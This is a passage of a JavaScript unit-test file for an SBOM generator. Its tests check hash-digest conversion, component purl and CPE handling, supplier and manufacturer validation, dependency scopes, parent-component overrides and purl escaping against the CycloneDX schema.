  32. };
  33. it("converts a base64 integrity to hex", () => {
  34. const digest = createHash("sha512").update("hello").digest("base64");
  35. const [hash] = hashesFor({ _integrity: `sha512-${digest}` });
  36. assert.strictEqual(hash.alg, "SHA-512");
  37. assert.strictEqual(
  38. hash.content,
  39. createHash("sha512").update("hello").digest("hex"),
  40. );
  41. });
  42. it("keeps a hex digest as is", () => {
  43. const digest = createHash("sha1").update("hello").digest("hex");
  44. const [hash] = hashesFor({ _shasum: digest });
  45. assert.strictEqual(hash.content, digest);
  46. });
  47. it("drops a digest that decodes to the wrong length", () => {
  48. // A truncated npm integrity: it decodes, but to 63 bytes rather than 64.
  49. // Copying it through produced a BOM that failed schema validation.
  50. const truncated =
  51. "QIqJf7A1NVCjzCIdA1M6A+0ify9J50nDxzX7QgJ0006AAXMon0AhQI9bQ6tcG4IHHD5woAH+KUnLMaAz9x9A==";
  52. assert.deepStrictEqual(
  53. hashesFor({ _integrity: `sha512-${truncated}` }),
  54. [],
  55. );
  56. });
  57. it("drops a hex digest whose length contradicts its algorithm", () => {
  58. assert.deepStrictEqual(
  59. hashesFor({ hashes: [{ alg: "SHA-512", content: "a".repeat(64) }] }),
  60. [],
  61. );
  62. });
  63. it("emits only spec-valid content for mixed input", () => {
  64. const good = createHash("sha256").update("hello").digest("base64");
  65. const hashes = hashesFor({
  66. hashes: [
  67. { alg: "SHA-256", content: good },
  68. { alg: "SHA-512", content: "not a digest" },
  69. ],
  70. });
  71. assert.strictEqual(hashes.length, 1);
  72. for (const hash of hashes) {
  73. assert.ok(
  74. new RegExp(HASH_PATTERN).test(hash.content),
  75. `${hash.content} must satisfy the CycloneDX hash pattern`,
  76. );
  77. }
  78. });
  79. });
  80. describe("component creation", () => {
  81. it("keeps a purl a file component set for itself", () => {
  82. // `file` is a NON_PURL_TYPES member so no maven purl is derived for it,
  83. // but a collector that already resolved a generic purl is taken at its
  84. // word — this is how unpackaged executables and unidentified archives
  85. // stay joinable.
  86. const [component] = listComponents(
  87. { specVersion: 1.7 },
  88. undefined,
  89. [
  90. {
  91. name: "mystery.jar",
  92. type: "file",
  93. purl: "pkg:generic/mystery.jar#opt/app/mystery.jar",
  94. "bom-ref": "pkg:generic/mystery.jar#opt/app/mystery.jar",
  95. },
  96. ],
  97. "maven",
  98. );
  99. assert.strictEqual(
  100. component.purl,
  101. "pkg:generic/mystery.jar#opt/app/mystery.jar",
  102. );
  103. assert.strictEqual(
  104. component["bom-ref"],
  105. "pkg:generic/mystery.jar#opt/app/mystery.jar",
  106. );
  107. });
  108. it("keeps the CPE a collector recorded, and adds none otherwise", () => {
  109. // caxa records one for the Node.js runtime it bundles; NVD-based
  110. // scanners match Node.js by it.
  111. const [node, other] = listComponents(
  112. { specVersion: 1.7 },
  113. undefined,
  114. [
  115. {
  116. name: "node",
  117. version: "24.21.0",
  118. purl: "pkg:generic/nodejs/node@24.21.0",
  119. cpe: "cpe:2.3:a:nodejs:node.js:24.21.0:*:*:*:-:*:*:*",
  120. },
  121. {
  122. name: "left-pad",
  123. version: "1.3.0",
  124. purl: "pkg:npm/left-pad@1.3.0",
  125. },
  126. ],
  127. "npm",
  128. );
  129. assert.strictEqual(
  130. node.cpe,
  131. "cpe:2.3:a:nodejs:node.js:24.21.0:*:*:*:-:*:*:*",
  132. );
  133. assert.ok(!Object.hasOwn(other, "cpe"));
  134. });
  135. it("carries a well-formed supplier and drops a malformed one", async () => {
  136. const pkgs = [
  137. {
  138. name: "good",
  139. version: "1.0.0",
  140. purl: "pkg:npm/good@1.0.0",
  141. supplier: {
  142. name: "Example Org",
  143. url: ["https://example.com"],
  144. extra: "dropped",
  145. },
  146. },
  147. {
  148. name: "string-url",
  149. version: "1.0.0",
  150. purl: "pkg:npm/string-url@1.0.0",
  151. supplier: {
  152. name: "h9e4cc4f_0_cpython",
  153. url: "https://conda.anaconda.org/conda-forge/x.conda",
  154. },
  155. },
  156. {
  157. name: "no-name",
  158. version: "1.0.0",
  159. purl: "pkg:npm/no-name@1.0.0",
  160. supplier: { url: ["https://example.com"] },
  161. },
  162. {
  163. name: "string-supplier",
  164. version: "1.0.0",
  165. purl: "pkg:npm/string-supplier@1.0.0",
  166. supplier: "Example Org",
  167. },
  168. ];
  169. const components = listComponents(
  170. { specVersion: 1.7 },
  171. undefined,
  172. pkgs,
  173. "npm",
  174. );
  175. const byName = Object.fromEntries(components.map((c) => [c.name, c]));
  176. assert.deepStrictEqual(byName.good.supplier, {
  177. name: "Example Org",
  178. url: ["https://example.com"],
  179. });
  180. assert.strictEqual(byName["string-url"].supplier, undefined);
  181. assert.strictEqual(byName["no-name"].supplier, undefined);
  182. assert.strictEqual(byName["string-supplier"].supplier, undefined);
  183. const { bomJson } = buildBomNSData({ specVersion: 1.7 }, pkgs, "npm", {
  184. src: ".",
  185. });
  186. assert.strictEqual(await validateBom(bomJson, { deep: false }), true);
  187. });
  188. it("reduces contacts to name, email and phone and drops the entity bom-ref", async () => {
  189. assert.deepStrictEqual(
  190. toOrganizationalEntity({
  191. name: " Example Org ",
  192. "bom-ref": "org-1",
  193. contact: [
  194. { name: "PSIRT", email: "psirt@example.com", handle: "@x" },
  195. { handle: "@only-unknown-fields" },
  196. "not-an-object",
  197. { phone: "+1 555 0100", "bom-ref": "contact-1" },
  198. ],
  199. }),
  200. {
  201. name: "Example Org",
  202. contact: [
  203. { name: "PSIRT", email: "psirt@example.com" },
  204. { phone: "+1 555 0100" },
  205. ],
  206. },
  207. );
  208. const pkgs = [
  209. {
  210. name: "with-contact",
  211. version: "1.0.0",
  212. purl: "pkg:npm/with-contact@1.0.0",
  213. supplier: { name: "Example Org", contact: [{ handle: "@x" }] },
  214. },
  215. ];
  216. const { bomJson } = buildBomNSData({ specVersion: 1.7 }, pkgs, "npm", {
  217. src: ".",
  218. });
  219. assert.deepStrictEqual(bomJson.components[0].supplier, {
  220. name: "Example Org",
  221. });
  222. assert.strictEqual(await validateBom(bomJson, { deep: false }), true);
  223. });
  224. it("carries a well-formed manufacturer from CycloneDX 1.6 onwards", async () => {
  225. const pkgs = () => [
  226. {
  227. name: "llama-3.1-8b",
  228. purl: "pkg:huggingface/meta-llama/Llama-3.1-8B",
  229. type: "machine-learning-model",
  230. manufacturer: { name: "Meta" },
  231. supplier: {
  232. name: "meta-llama",
  233. url: ["https://huggingface.co/meta-llama"],
  234. },
  235. },
  236. {
  237. name: "bad-manufacturer",
  238. purl: "pkg:npm/bad-manufacturer@1.0.0",
  239. version: "1.0.0",
  240. manufacturer: "Meta",
  241. },
  242. ];
  243. for (const specVersion of [1.6, 1.7]) {
  244. const { bomJson } = buildBomNSData({ specVersion }, pkgs(), "generic", {
  245. src: ".",
  246. });
  247. const byName = Object.fromEntries(
  248. bomJson.components.map((c) => [c.name, c]),
  249. );
  250. assert.deepStrictEqual(byName["llama-3.1-8b"].manufacturer, {
  251. name: "Meta",
  252. });
  253. assert.deepStrictEqual(byName["llama-3.1-8b"].supplier, {
  254. name: "meta-llama",
  255. url: ["https://huggingface.co/meta-llama"],
  256. });
  257. assert.strictEqual(byName["bad-manufacturer"].manufacturer, undefined);
  258. assert.strictEqual(await validateBom(bomJson, { deep: false }), true);
  259. }
  260. const [component] = listComponents(
  261. { specVersion: 1.5 },
  262. undefined,
  263. pkgs(),
  264. "generic",
  265. );
  266. // manufacturer arrived in CycloneDX 1.6.
  267. assert.strictEqual(component.manufacturer, undefined);
  268. assert.strictEqual(component.supplier.name, "meta-llama");
  269. });
  270. it("derives no purl for a file component that brought none", () => {
  271. const [component] = listComponents(
  272. { specVersion: 1.7 },
  273. undefined,
  274. [{ group: "com.example", name: "thing", version: "1.0", type: "file" }],
  275. "maven",
  276. );
  277. assert.strictEqual(component.purl, undefined);
  278. });
  279. it("keeps readable OBOM bom-refs when no package purl type is available", () => {
  280. const components = listComponents(
  281. { specVersion: 1.7 },
  282. undefined,
  283. [
  284. {
  285. "bom-ref":
  286. "osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
  287. name: "root",
  288. properties: [
  289. {
  290. name: "cdx:osquery:category",
  291. value: "authorized_keys_snapshot",
  292. },
  293. ],
  294. type: "data",
  295. version: "ssh-ed25519",
  296. },
  297. ],
  298. "",
  299. );
  300. assert.strictEqual(components.length, 1);
  301. assert.strictEqual(components[0].purl, undefined);
  302. assert.strictEqual(
  303. components[0]["bom-ref"],
  304. "osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
  305. );
  306. assert.strictEqual(components[0].type, "data");
  307. });
  308. it("marks npm packages required when analyzer command evidence matches package bin metadata", () => {
  309. const components = listComponents(
  310. { specVersion: 1.7 },
  311. {
  312. "cdx:npm:bin/license-report": new Set([
  313. {
  314. fileName: "package.json",
  315. importedAs: "cdx:npm:bin/license-report",
  316. importedModules: ["license-report"],
  317. },
  318. ]),
  319. },
  320. [
  321. {
  322. name: "license-report",
  323. version: "6.5.0",
  324. scope: "optional",
  325. properties: [
  326. {
  327. name: "cdx:npm:bin",
  328. value: "license-report",
  329. },
  330. ],
  331. },
  332. {
  333. name: "left-pad",
  334. version: "1.3.0",
  335. scope: "optional",
  336. properties: [],
  337. },
  338. ],
  339. "npm",
  340. );
  341. const licenseReport = components.find(
  342. (component) => component.name === "license-report",
  343. );
  344. const leftPad = components.find(
  345. (component) => component.name === "left-pad",
  346. );
  347. assert.strictEqual(licenseReport.scope, "required");
  348. assert.strictEqual(leftPad.scope, "optional");
  349. });
  350. it("keeps npm package required when bin-command evidence exists alongside type-only imports", () => {
  351. const components = listComponents(
  352. { specVersion: 1.7 },
  353. {
  354. "cdx:npm:bin/license-report": new Set([
  355. {
  356. fileName: "package.json",
  357. importedAs: "cdx:npm:bin/license-report",
  358. importedModules: ["license-report"],
  359. },
  360. ]),
  361. "license-report": new Set([
  362. {
  363. importedAs: "license-report",
  364. importedModules: ["license-report"],
  365. isTypeOnly: true,
  366. },
  367. ]),
  368. },
  369. [
  370. {
  371. name: "license-report",
  372. version: "6.5.0",
  373. scope: "optional",
  374. properties: [
  375. {
  376. name: "cdx:npm:bin",
  377. value: "license-report",
  378. },
  379. ],
  380. },
  381. ],
  382. "npm",
  383. );
  384. const licenseReport = components.find(
  385. (component) => component.name === "license-report",
  386. );
  387. assert.strictEqual(licenseReport.scope, "required");
  388. assert.strictEqual(
  389. getProp(licenseReport, "cdx:npm:package:type-only"),
  390. undefined,
  391. );
  392. });
  393. // #4336: a missing import is not evidence that a package is optional.
  394. it("keeps the scope of npm packages the imports do not mention", () => {
  395. const components = listComponents(
  396. { specVersion: 1.7 },
  397. {
  398. debug: new Set([
  399. {
  400. fileName: "index.js",
  401. importedAs: "debug",
  402. importedModules: ["debug"],
  403. },
  404. ]),
  405. },
  406. [
  407. { name: "debug", version: "4.4.1", properties: [] },
  408. { name: "left-pad", version: "1.3.0", properties: [] },
  409. // Promoted by propagateRequiredScopeFromDependencies through debug.
  410. { name: "ms", version: "2.1.3", scope: "required", properties: [] },
  411. // Promoted by addEvidenceForImports through its jsr specifier.
  412. {
  413. group: "@jsr",
  414. name: "std__assert",
  415. version: "1.0.13",
  416. scope: "required",
  417. properties: [
  418. { name: "cdx:deno:jsrKey", value: "@std/assert@1.0.13" },
  419. ],
  420. },
  421. {
  422. name: "picocolors",
  423. version: "1.1.1",
  424. scope: "optional",
  425. properties: [
  426. { name: "cdx:npm:package:development", value: "true" },
  427. ],
  428. },
  429. ],
  430. "npm",
  431. );
  432. const scopeOf = (name) =>
  433. components.find((component) => component.name === name)?.scope;
  434. assert.strictEqual(scopeOf("debug"), "required");
  435. assert.strictEqual(scopeOf("left-pad"), undefined);
  436. assert.strictEqual(scopeOf("ms"), "required");
  437. assert.strictEqual(scopeOf("std__assert"), "required");
  438. assert.strictEqual(scopeOf("picocolors"), "optional");
  439. });
  440. it("keeps pypi scopes when the imports list only undeclared modules", () => {
  441. // getPyModules reports the imported modules no manifest declares; the
  442. // declared packages it saw imported are already scoped required.
  443. const components = listComponents(
  444. { specVersion: 1.7 },
  445. { "extra-pkg": true },
  446. [
  447. { name: "requests", version: "2.32.3", scope: "required" },
  448. { name: "gunicorn", version: "23.0.0" },
  449. { name: "extra-pkg", version: "1.0.0", scope: "required" },
  450. ],
  451. "pypi",
  452. );
  453. const scopeOf = (name) =>
  454. components.find((component) => component.name === name)?.scope;
  455. assert.strictEqual(scopeOf("requests"), "required");
  456. assert.strictEqual(scopeOf("gunicorn"), undefined);
  457. assert.strictEqual(scopeOf("extra-pkg"), "required");
  458. });
  459. });
  460. describe("distribution filters", () => {
  461. it("keeps npm types while excluding poku tests from npm pack output", () => {
  462. const packedPaths = getNpmPackFilePaths();
  463. assert.ok(
  464. packedPaths.some((path) => path.startsWith("types/")),
  465. "expected npm pack output to keep generated type definitions",
  466. );
  467. assert.ok(
  468. packedPaths.every((path) => !path.endsWith(".poku.js")),
  469. "expected npm pack output to exclude co-located poku tests",
  470. );
  471. assert.ok(
  472. packedPaths.every((path) => !path.startsWith("test/")),
  473. "expected npm pack output to exclude test fixtures",
  474. );
  475. });
  476. });
  477. describe("parent component overrides", () => {
  478. const detected = {
  479. "bom-ref": "application:myproject:1.0.0",
  480. name: "myproject",
  481. type: "application",
  482. version: "1.0.0",
  483. };
  484. const child = {
  485. "bom-ref": "pkg:generic/dep@1.0.0",
  486. name: "dep",
  487. purl: "pkg:generic/dep@1.0.0",
  488. type: "library",
  489. version: "1.0.0",
  490. };
  491. const context = () => ({
  492. parentComponent: { ...detected },
  493. dependencies: [
  494. { ref: detected["bom-ref"], dependsOn: [child["bom-ref"]] },
  495. { ref: child["bom-ref"], dependsOn: [] },
  496. ],
  497. });
  498. it("keeps the generator's own root when no override is given", () => {
  499. const { bomJson } = buildBomNSData(
  500. { specVersion: 1.7 },
  501. [child],
  502. "generic",
  503. context(),
  504. );
  505. assert.strictEqual(
  506. bomJson.metadata.component["bom-ref"],
  507. "application:myproject:1.0.0",
  508. );
  509. assert.deepStrictEqual(bomJson.dependencies, context().dependencies);
  510. });
  511. it("re-anchors the graph under a caller-supplied parent", () => {
  512. const { bomJson } = buildBomNSData(
  513. { specVersion: 1.7, projectName: "monorepo", projectVersion: "9.9.9" },
  514. [child],
  515. "generic",
  516. context(),
  517. );
  518. const rootRef = bomJson.metadata.component["bom-ref"];
  519. assert.strictEqual(rootRef, "pkg:application/monorepo@9.9.9");
  520. // The detected project is a real subproject, so it survives as a
  521. // component instead of the edges below it being orphaned.
  522. assert.ok(
  523. bomJson.components.some(
  524. (comp) => comp["bom-ref"] === "application:myproject:1.0.0",
  525. ),
  526. );
  527. assert.deepStrictEqual(
  528. bomJson.dependencies.find((dep) => dep.ref === rootRef),
  529. { ref: rootRef, dependsOn: ["application:myproject:1.0.0"] },
  530. );
  531. const known = new Set(bomJson.components.map((c) => c["bom-ref"]));
  532. known.add(rootRef);
  533. const dangling = bomJson.dependencies
  534. .flatMap((dep) => [dep.ref, ...dep.dependsOn])
  535. .filter((ref) => !known.has(ref));
  536. assert.deepStrictEqual(dangling, []);
  537. });
  538. // Discussion 4388: naming the very project the generator detected must
  539. // not wrap it in an `application` of the same name and version.
  540. const gemDetected = {
  541. "bom-ref": "pkg:gem/mygem@0.8.1",
  542. purl: "pkg:gem/mygem@0.8.1",
  543. group: "",
  544. name: "mygem",
  545. type: "application",
  546. version: "0.8.1",
  547. description: "The gem being built",
  548. };
  549. const gemContext = () => ({
  550. parentComponent: { ...gemDetected },
  551. dependencies: [
  552. { ref: gemDetected["bom-ref"], dependsOn: [child["bom-ref"]] },
  553. { ref: child["bom-ref"], dependsOn: [] },
  554. ],
  555. });
  556. it("keeps the detected parent when the override names that project", async () => {
  557. const { bomJson } = buildBomNSData(
  558. { specVersion: 1.7, projectName: "mygem", projectVersion: "0.8.1" },
  559. [child],
  560. "gem",
  561. gemContext(),
  562. );
  563. assert.strictEqual(
  564. bomJson.metadata.component["bom-ref"],
  565. gemDetected["bom-ref"],
  566. );
  567. assert.strictEqual(
  568. bomJson.metadata.component.description,
  569. "The gem being built",
  570. );
  571. assert.deepStrictEqual(
  572. bomJson.components.map((comp) => comp["bom-ref"]),
  573. [child["bom-ref"]],
  574. "the project must not be listed as a subproject of itself",
  575. );
  576. assert.deepStrictEqual(bomJson.dependencies, gemContext().dependencies);
  577. assert.strictEqual(await validateBom(bomJson), true);
  578. });
  579. it("still anchors a detected parent of another version under the override", () => {
  580. const { bomJson } = buildBomNSData(
  581. { specVersion: 1.7, projectName: "mygem", projectVersion: "0.9.0" },
  582. [child],
  583. "gem",
  584. gemContext(),
  585. );
  586. assert.strictEqual(
  587. bomJson.metadata.component["bom-ref"],
  588. "pkg:application/mygem@0.9.0",
  589. );
  590. assert.ok(
  591. bomJson.components.some(
  592. (comp) => comp["bom-ref"] === gemDetected["bom-ref"],
  593. ),
  594. );
  595. });
  596. it("honours a caller-supplied parentComponent even when it matches", () => {
  597. const parentComponent = {
  598. "bom-ref": "pkg:generic/mygem@0.8.1",
  599. purl: "pkg:generic/mygem@0.8.1",
  600. name: "mygem",
  601. type: "application",
  602. version: "0.8.1",
  603. };
  604. const { bomJson } = buildBomNSData(
  605. { specVersion: 1.7, parentComponent },
  606. [child],
  607. "gem",
  608. gemContext(),
  609. );
  610. assert.strictEqual(
  611. bomJson.metadata.component["bom-ref"],
  612. "pkg:generic/mygem@0.8.1",
  613. );
  614. });
  615. it("builds an override for ecosystems whose purls need a namespace", () => {
  616. // Maven, Go, and Swift purls require a namespace. The override is an
  617. // `application`, so a project name without a group must still work.
  618. for (const ptype of ["maven", "golang", "swift"]) {
  619. const { bomJson } = buildBomNSData(
  620. { specVersion: 1.7, projectName: "foo", projectVersion: "1.0.0" },
  621. [child],
  622. ptype,
  623. context(),
  624. );
  625. assert.strictEqual(
  626. bomJson.metadata.component.purl,
  627. "pkg:application/foo@1.0.0",
  628. );
  629. }
  630. });
  631. it("drops parent external references that are not valid IRIs", async () => {
  632. const { bomJson } = buildBomNSData({ specVersion: 1.7 }, [child], "gem", {
  633. parentComponent: {
  634. ...gemDetected,
  635. externalReferences: [
  636. { type: "website", url: "https://example.com/mygem" },
  637. {
  638. type: "documentation",
  639. url: "https://example.com/#{spec.version}",
  640. },
  641. ],
  642. },
  643. dependencies: [],
  644. });
  645. assert.deepStrictEqual(bomJson.metadata.component.externalReferences, [
  646. { type: "website", url: "https://example.com/mygem" },
  647. ]);
  648. assert.strictEqual(await validateBom(bomJson), true);
  649. });
  650. it("leaves the caller's dependency array untouched", () => {
  651. const ctx = context();
  652. const before = JSON.parse(JSON.stringify(ctx.dependencies));
  653. buildBomNSData(
  654. { specVersion: 1.7, projectName: "monorepo", projectVersion: "9.9.9" },
  655. [child],
  656. "generic",
  657. ctx,
  658. );
  659. assert.deepStrictEqual(ctx.dependencies, before);
  660. });
  661. // Issue #4320: generators hand the detected parent over with transient
  662. // keys (`license`, `homepage`, `repository`, `evidence`, `_integrity`,
  663. // `qualifiers`) that only `metadata.component` used to be cleaned of.
  664. // Anchored as a regular component they fail schema validation.
  665. const licensedDetected = {
  666. ...detected,
  667. purl: "pkg:npm/myproject@1.0.0",
  668. "bom-ref": "pkg:npm/myproject@1.0.0",
  669. license: "Apache-2.0",
  670. homepage: { url: "https://example.com/myproject" },
  671. repository: { url: "git+https://github.com/example/myproject.git" },
  672. evidence: {
  673. identity: { field: "purl", confidence: 0.7, methods: [] },
  674. },
  675. _integrity:
  676. "sha512-mlYviEJVSQFSe2oNPPPUidoRv6Cb6iloaCLcdWOr7tPhBsfIw5TiS2o2WsXcXAUG9tTLO9cbLb5zcDzcVXc5w==",
  677. qualifiers: { arch: "x64" },
  678. };
  679. const licensedContext = () => ({
  680. parentComponent: { ...licensedDetected },
  681. dependencies: [
  682. {
  683. ref: licensedDetected["bom-ref"],
  684. dependsOn: [child["bom-ref"]],
  685. },
  686. { ref: child["bom-ref"], dependsOn: [] },
  687. ],
  688. });
  689. const overrideOptions = {
  690. specVersion: 1.6,
  691. projectName: "monorepo",
  692. projectVersion: "9.9.9",
  693. };
  694. it("cleans transient keys from the anchored subproject component", async () => {
  695. const { bomJson } = buildBomNSData(
  696. overrideOptions,
  697. [child],
  698. "npm",
  699. licensedContext(),
  700. );
  701. const anchored = bomJson.components.find(
  702. (comp) => comp["bom-ref"] === licensedDetected["bom-ref"],
  703. );
  704. assert.ok(anchored, "expected the detected parent to be anchored");
  705. for (const transientKey of [
  706. "license",
  707. "homepage",
  708. "repository",
  709. "evidence",
  710. "_integrity",
  711. "qualifiers",
  712. ]) {
  713. assert.strictEqual(
  714. anchored[transientKey],
  715. undefined,
  716. `anchored component must not carry '${transientKey}'`,
  717. );
  718. }
  719. assert.deepStrictEqual(anchored.licenses, [
  720. {
  721. license: {
  722. id: "Apache-2.0",
  723. url: "https://opensource.org/licenses/Apache-2.0",
  724. },
  725. },
  726. ]);
  727. assert.deepStrictEqual(
  728. (anchored.externalReferences || []).map((ref) => ref.type).sort(),
  729. ["vcs", "website"],
  730. );
  731. // The truncated fixture integrity decodes to 63 bytes, so it is
  732. // dropped rather than emitted as a corrupt digest.
  733. assert.strictEqual(anchored.hashes, undefined);
  734. assert.strictEqual(await validateBom(bomJson), true);
  735. });
  736. it("does not mutate the caller's detected parent object", () => {
  737. const ctx = licensedContext();
  738. const before = JSON.parse(JSON.stringify(ctx.parentComponent));
  739. buildBomNSData(overrideOptions, [child], "npm", ctx);
  740. assert.deepStrictEqual(ctx.parentComponent, before);
  741. });
  742. it("cleans the anchored component for an explicit options.parentComponent override", async () => {
  743. const explicitParent = {
  744. group: "",
  745. name: "shell",
  746. version: "3.2.1",
  747. type: "application",
  748. "bom-ref": "pkg:application/shell@3.2.1",
  749. purl: "pkg:application/shell@3.2.1",
  750. };
  751. const { bomJson } = buildBomNSData(
  752. { specVersion: 1.6, parentComponent: explicitParent },
  753. [child],
  754. "npm",
  755. licensedContext(),
  756. );
  757. assert.strictEqual(
  758. bomJson.metadata.component["bom-ref"],
  759. "pkg:application/shell@3.2.1",
  760. );
  761. const anchored = bomJson.components.find(
  762. (comp) => comp["bom-ref"] === licensedDetected["bom-ref"],
  763. );
  764. assert.ok(anchored, "expected the detected parent to be anchored");
  765. assert.strictEqual(anchored.license, undefined);
  766. assert.ok(anchored.licenses?.length);
  767. assert.strictEqual(await validateBom(bomJson), true);
  768. });
  769. // Issue #4326: workspace members nested under a detected parent carry the
  770. // same raw parser shape as the parent itself. Anchored without the
  771. // conversion `metadata.component` gets, they fail the strict Component
  772. // schema (`additionalProperties: false` on `homepage`/`repository`).
  773. const nestedDetected = {
  774. ...licensedDetected,
  775. components: [
  776. {
  777. group: "",
  778. name: "member",
  779. version: "1.2.3",
  780. purl: "pkg:cargo/member@1.2.3",
  781. "bom-ref": "pkg:cargo/member@1.2.3",
  782. type: "library",
  783. license: "MIT",
  784. homepage: { url: "https://example.com/member" },
  785. repository: { url: "https://github.com/example/member" },
  786. _integrity:
  787. "sha512-NDOSPBxcqSNHmT156HFVUjJJtSiofKkIJW+MIAXal6i3RWM8wC9l/dz+0vQUVX3btlAO3lfRs17rOHY2t9f9Gg==",
  788. properties: [
  789. { name: "internal:SrcFile", value: "crates/member/Cargo.toml" },
  790. ],
  791. },
  792. ],
  793. };
  794. const nestedContext = () => ({
  795. parentComponent: {
  796. ...nestedDetected,
  797. components: nestedDetected.components,
  798. },
  799. dependencies: [
  800. {
  801. ref: nestedDetected["bom-ref"],
  802. dependsOn: [nestedDetected.components[0]["bom-ref"]],
  803. },
  804. ],
  805. });
  806. it("converts nested workspace member components into schema-valid components", async () => {
  807. const { bomJson } = buildBomNSData(
  808. overrideOptions,
  809. [child],
  810. "npm",
  811. nestedContext(),
  812. );
  813. const anchored = bomJson.components.find(
  814. (comp) => comp["bom-ref"] === nestedDetected["bom-ref"],
  815. );
  816. assert.ok(anchored, "expected the detected parent to be anchored");
  817. const nested = anchored.components?.find(
  818. (comp) => comp["bom-ref"] === "pkg:cargo/member@1.2.3",
  819. );
  820. assert.ok(nested, "expected the nested member to survive anchoring");
  821. for (const transientKey of [
  822. "license",
  823. "homepage",
  824. "repository",
  825. "_integrity",
  826. "qualifiers",
  827. ]) {
  828. assert.strictEqual(
  829. nested[transientKey],
  830. undefined,
  831. `nested component must not carry '${transientKey}'`,
  832. );
  833. }
  834. assert.ok(
  835. nested.licenses?.some((license) => license.license?.id === "MIT"),
  836. "expected license converted into a licenses entry",
  837. );
  838. assert.deepStrictEqual(
  839. (nested.externalReferences || []).map((ref) => ref.type).sort(),
  840. ["vcs", "website"],
  841. );
  842. // The integrity transient is converted into a hex hashes[] entry, not
  843. // dropped.
  844. assert.deepStrictEqual(nested.hashes, [
  845. {
  846. alg: "SHA-512",
  847. content:
  848. "3433923c1c5ca92347993d79e87155523249b528a87ca908256f8c2005da97a8b745633cc02f65fddcfed2f414557ddbb6500ede57d1b35eeb387636b7d7fd1a",
  849. },
  850. ]);
  851. assert.strictEqual(await validateBom(bomJson), true);
  852. });
  853. it("does not mutate the caller's nested member components", () => {
  854. const ctx = nestedContext();
  855. const before = JSON.parse(JSON.stringify(ctx.parentComponent));
  856. buildBomNSData(overrideOptions, [child], "npm", ctx);
  857. assert.deepStrictEqual(ctx.parentComponent, before);
  858. });
  859. });
  860. });
  861. describe("reserved characters in component purls", () => {
  862. const cleanedVersion = (component) =>
  863. component.properties?.find((p) => p.name === "cdx:npm:cleanedVersion")
  864. ?.value;
  865. it("escapes a derived purl's name, group and subpath exactly once", () => {
  866. // Pre-escaping the parts before cdx-purl escaped them again turned
  867. // `@scope` into `%2540scope` and `libstdc++6` into `libstdc%252B%252B6`.
  868. const [os] = listComponents(
  869. { specVersion: 1.7 },
  870. null,
  871. [{ name: "libstdc++6", version: "12.2.0-14+deb12u1" }],
  872. "generic",
  873. );
  874. assert.strictEqual(
  875. os.purl,
  876. "pkg:generic/libstdc%2B%2B6@12.2.0-14%2Bdeb12u1",
  877. );
  878. assert.strictEqual(
  879. os["bom-ref"],
  880. "pkg:generic/libstdc++6@12.2.0-14+deb12u1",
  881. );
  882. const [scoped] = listComponents(
  883. { specVersion: 1.7 },
  884. null,
  885. [{ group: "@acme", name: "tools", version: "0.9.0+exp.sha.5114f85" }],
  886. "npm",
  887. );
  888. assert.strictEqual(
  889. scoped.purl,
  890. "pkg:npm/%40acme/tools@0.9.0%2Bexp.sha.5114f85",
  891. );
  892. assert.strictEqual(cleanedVersion(scoped), "0.9.0");
  893. });
  894. it("records the version npm would publish only when it differs", () => {
  895. const components = listComponents(
  896. { specVersion: 1.7 },
  897. null,
  898. [
  899. {
  900. name: "localdep",
  901. version: "2.0.0+local",
  902. purl: "pkg:npm/localdep@2.0.0%2Blocal",
  903. },
  904. {
  905. name: "left-pad",
  906. version: "1.3.0",
  907. purl: "pkg:npm/left-pad@1.3.0",
  908. },
  909. {
  910. name: "wasi",
  911. version: "0.11.0+wasi-snapshot-preview1",
  912. purl: "pkg:cargo/wasi@0.11.0%2Bwasi-snapshot-preview1",
  913. },
  914. ],
  915. "npm",
  916. );
  917. const byName = Object.fromEntries(components.map((c) => [c.name, c]));
  918. assert.strictEqual(cleanedVersion(byName.localdep), "2.0.0");
  919. assert.strictEqual(byName.localdep.version, "2.0.0+local");
  920. assert.strictEqual(cleanedVersion(byName["left-pad"]), undefined);
  921. // Only npm follows `npm publish`; cargo keeps build metadata.
  922. assert.strictEqual(cleanedVersion(byName.wasi), undefined);
  923. });
  924. it("recovers the parent purl from a decoded bom-ref and records its cleaned version", () => {
  925. const { bomJson } = buildBomNSData({ specVersion: 1.7 }, [], "npm", {
  926. parentComponent: {
  927. name: "app",
  928. version: "1.0.0+major",
  929. type: "application",
  930. "bom-ref": "pkg:npm/app@1.0.0+major",
  931. },
  932. });
  933. const root = bomJson.metadata.component;
  934. // Escaping the whole ref also escaped the `@` before the version and
  935. // produced a purl for a package named `app@1.0.0+major`.
  936. assert.strictEqual(root.purl, "pkg:npm/app@1.0.0%2Bmajor");
  937. assert.strictEqual(cleanedVersion(root), "1.0.0");
  938. });
  939. });
  940. describe("metadata properties handed over by a generator", () => {
  941. const platform = [
  942. { name: "cdx:composer:platform:ext-zip", value: "*" },
  943. { name: "cdx:composer:platform:php", value: "^8.1" },
  944. ];
  945. const log = {
  946. group: "psr",
  947. name: "log",
  948. version: "3.0.2",
  949. purl: "pkg:composer/psr/log@3.0.2",
  950. "bom-ref": "pkg:composer/psr/log@3.0.2",
  951. };
  952. it("buildBomNSData puts them in metadata.properties and hands them on", () => {
  953. const bomNSData = buildBomNSData({ specVersion: 1.7 }, [log], "composer", {
  954. metadataProperties: platform,
  955. });
  956. assert.deepStrictEqual(bomNSData.bomJson.metadata.properties, platform);
  957. assert.deepStrictEqual(bomNSData.metadataProperties, platform);
  958. });
  959. it("buildBomNSData adds no properties and hands on nothing without them", () => {
  960. const bomNSData = buildBomNSData({ specVersion: 1.7 }, [log], "composer", {
  961. src: ".",
  962. });
  963. assert.strictEqual(bomNSData.bomJson.metadata.properties, undefined);
  964. assert.strictEqual(bomNSData.metadataProperties, undefined);
  965. });
  966. it("dedupeBom keeps them when it rebuilds the metadata of a multi-type scan", () => {
  967. const { bomJson } = dedupeBom(
  968. { specVersion: 1.7 },
  969. [log],
  970. undefined,
  971. [],
  972. platform,
  973. );
  974. assert.deepStrictEqual(bomJson.metadata.properties, platform);
  975. assert.strictEqual(
  976. dedupeBom({ specVersion: 1.7 }, [log], undefined, []).bomJson.metadata
  977. .properties,
  978. undefined,
  979. );
  980. });
  981. });
  982. describe("addMetadata() oci:image:appLanguage", () => {
  983. const appLanguage = (Cmd) =>
  984. addMetadata(
  985. {},
